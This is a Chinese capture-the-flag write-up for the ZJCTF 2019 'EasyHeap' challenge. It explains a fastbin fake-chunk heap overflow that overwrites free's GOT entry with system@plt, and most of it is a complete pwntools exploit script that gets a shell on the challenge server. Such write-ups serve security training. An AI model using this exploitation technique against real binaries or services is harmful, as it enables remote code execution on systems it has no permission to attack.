[ZJCTF 2019]EasyHeap简单堆溢出
拿到题目,我们先看一下保护机制:

看来,有些东西是可以写的,拖入IDA查看反汇编代码:

看来是堆溢出漏洞了,我们得利用堆溢出,操控修改free的got表,题目已经提供过了system的plt和got表,也就是说,我们不用泄露地址了,直接将free的got表里面的值修改成system的plt表,就能实现,调用free函数,即为调用system函数,那关键的问题,如何控制free的got表,直接控制是不可取的,因为就算我们溢出修改已经free的chunk的fd指针至free的got表 - 0x10,也无法将其再次申请过来(过不了fastbins 申请的验证),所以不能直接控制,但是,只要能改写了heaparray数组就可以了,因为该数组里面都是指向申请的堆的数据区的指针,所以我们在heaparray数组地址的前面找一块能过fastbins 申请的验证的区域,伪造一个chunk,然后编辑这个chunk,使其溢出至heaparray数组,将free的got表地址写入heaparray数组,进而控制free的got表内容,我们找呀找,看到了这个:

只要我们申请的堆的大小是0x60就可以过验证了,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import *
context.arch = 'amd64'
sh = remote("node5.buuoj.cn",27376)
elf = ELF("./easyheap") free_got = elf.got["free"]
def create(size,cont): sh.recvuntil(":") sh.sendline("1") sh.recvuntil(":") sh.sendline(str(size)) sh.recvuntil(":") sh.sendline(cont)
def edit(index,size,cont): sh.recvuntil(":") sh.sendline("2") sh.recvuntil(":") sh.sendline(str(index)) sh.recvuntil(":") sh.sendline(str(size)) sh.recvuntil(":") sh.sendline(cont)
def dele(index): sh.recvuntil(":") sh.sendline("3") sh.recvuntil(":") sh.sendline(str(index))
create(0x60,"deadbeef") create(0x60,"deadbeef") create(0x60,"deadbeef")
dele(1)
tieshu_addr = 0x6020ad payload = "A"*(0x60) + p64(0) + p64(0x71) + p64(tieshu_addr)
edit(0,0x100,payload) create(0x60,"deadbeef") create(0x60,"deadbeef")
payload = "/bin/sh\x00" + "A"*(0x23-0x8) + p64(free_got) edit(3,0x200,payload)
system_plt = elf.plt["system"]
edit(0,0x8,p64(system_plt))
dele(3)
sh.interactive()
|